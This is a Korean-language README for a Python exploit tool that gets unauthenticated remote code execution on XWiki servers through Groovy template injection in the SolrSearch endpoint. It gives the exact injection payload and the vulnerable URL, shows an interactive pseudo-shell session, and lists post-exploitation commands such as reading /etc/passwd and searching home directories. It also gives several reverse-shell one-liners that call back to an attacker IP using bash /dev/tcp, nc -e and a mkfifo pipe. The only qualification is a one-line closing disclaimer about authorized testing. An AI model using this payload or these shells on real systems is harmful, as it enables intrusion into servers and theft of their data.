
XWiki의 SolrSearch 매크로를 통한 인증되지 않은 원격 코드 실행
XWiki의 SolrSearch 엔드포인트에서 Groovy 템플릿 인젝션을 통해 서버 측 템플릿 인젝션(SSTI) 취약점을 익스플로잇하는 Python 기반 도구입니다.
pip3 install requests beautifulsoup4
./xwiki_exploit.py -u http://target --test
./xwiki_exploit.py -u http://target.com -c "whoami"
./xwiki_exploit.py -u http://target.com -c "id"
./xwiki_exploit.py -u http://target.com -c "ls -la /tmp"
./xwiki_exploit.py -u http://target.com
다음은 명령을 실행할 수 있는 대화형 의사 셸(pseudo-shell)을 제공합니다:
xwiki> whoami
xwiki
xwiki> pwd
/usr/lib/xwiki-jetty
xwiki> ls /home
oliver
xwiki> exit
./xwiki_exploit.py -u http://target.com -c "id" --debug
-u, --url URL: 대상 URL (필수)-c, --command CMD: 단일 명령 실행--test: 대상 취약 여부 테스트--no-verify-ssl: SSL 인증서 검증 비활성화--debug: 디버그 출력 활성화정보 수집:
./xwiki_exploit.py -u http://target.com -c "uname -a"
./xwiki_exploit.py -u http://target.com -c "cat /etc/os-release"
./xwiki_exploit.py -u http://target.com -c "cat /etc/passwd"
주요 파일 찾기:
./xwiki_exploit.py -u http://target.com -c "find /home -type f -readable 2>/dev/null"
./xwiki_exploit.py -u http://target.com -c "ls -la /var/lib/xwiki"
네트워크 정보:
./xwiki_exploit.py -u http://target.com -c "ip addr"
./xwiki_exploit.py -u http://target.com -c "netstat -tulpn"
리버스 셸 설정:
# On attacker machine, start listener:
nc -lvnp 1337
# From exploit (try different methods):
./xwiki_exploit.py -u http://target.com -c "bash -c 'bash -i >& /dev/tcp/IP/1337 0>&1'"
./xwiki_exploit.py -u http://target.com -c "nc -e /bin/sh IP 1337"
./xwiki_exploit.py -u http://target.com -c "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 1337 >/tmp/f"
익스플로잇은 다음 SSTI 페이로드 구조를 사용합니다:
}}}{{async async=false}}{{groovy}}println("COMMAND".execute().text){{/groovy}}{{/async}}
페이로드는 URL 인코딩되어 취약한 엔드포인트로 전송됩니다:
/xwiki/bin/view/Main/SolrSearch?media=rss&text=[PAYLOAD]
서버는 Groovy 템플릿을 처리하고 명령을 실행합니다
출력은 다음 형식으로 RSS 피드 응답에서 캡처됩니다:
search on [}}OUTPUT]
익스플로잇은 HTML 응답을 파싱하여 명령 출력을 추출합니다
xwiki 사용자(uid=997)로 실행됩니다/usr/lib/xwiki-jetty입니다이 도구는 교육 및 승인된 침투 테스트 목적으로만 사용됩니다. 테스트 권한이 있는 시스템에서만 사용하세요.